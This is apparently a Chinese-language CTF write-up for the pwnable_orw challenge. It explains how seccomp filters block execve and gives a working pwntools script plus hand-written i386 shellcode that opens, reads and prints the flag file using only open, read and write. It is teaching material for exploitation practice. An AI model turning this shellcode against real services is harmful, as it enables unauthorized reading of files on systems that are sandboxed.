所谓orw,即open-read-write
seccomp相当于内核中的一种安全机制,正常情况下,程序可以使用所有的 syscall,但是当劫持程序流程之后通过 exeve 来呼叫 syscall 得到 shell 时 seccomp 边排上了用场,他可以过滤掉某些 syscall,只允许使用部分 syscall。
一般c沙盒逃逸题目都会使用类似seccomp的函数禁用掉一些系统调用,特别是execve 这里我们以pwnable_orw为例


main这里有一个orw_seccomp()函数

点进去后可以看到有个prctl,详细信息可以看这篇博客
简单来讲第一个prctl会禁用掉execve()函数,并且还会通过clone和fork继承给子进程 第二个prctl呢是只允许使用open read和write函数,并且会把系统调用的函数过滤掉

这里我们用工具查看确实是这样
shellcraft构造exp
from pwn import *
context(arch = 'i386', log_level='debug')
p = remote('node4.buuoj.cn',28837)
shellcode = shellcraft.open('/flag')
shellcode += shellcraft.read('eax','esp',100)
#read在函数调用中eax的值为3,因为前面open的返回值为3(0,1,2这三个句柄对应的是标准输入,标准输出,标准错误,下面write的1也是如此),所以这里eax改为3也是可行的
shellcode += shellcraft.write(1,'esp',100)
payload = asm(shellcode)
p.send(payload)
p.interactive()

xor ecx,ecx;
xor edx,edx;
push 0x0; #字符串以\\\\x00结尾
push 0x67616c66; #flag
mov ebx,esp;
mov eax,0x5;
int 0x80;
#open
mov ebx,0x3;
mov ecx, 0x0804A0A0; #直接写到shellcode下面的地址
mov edx, 0x40;
mov eax, 0x3;
int 0x80;
#read
mov ebx, 0x1;
mov ecx, 0x0804A0A0;
mov edx, 0x40;
mov eax, 0x4;
int 0x80; #write
这里贴一下手搓shellcode来更好的讲一下shellcode += shellcraft.read('eax','esp',100)

我们可以看到read函数调用的eax值为3,而open的返回值也是3,所以可以直接用eax代替3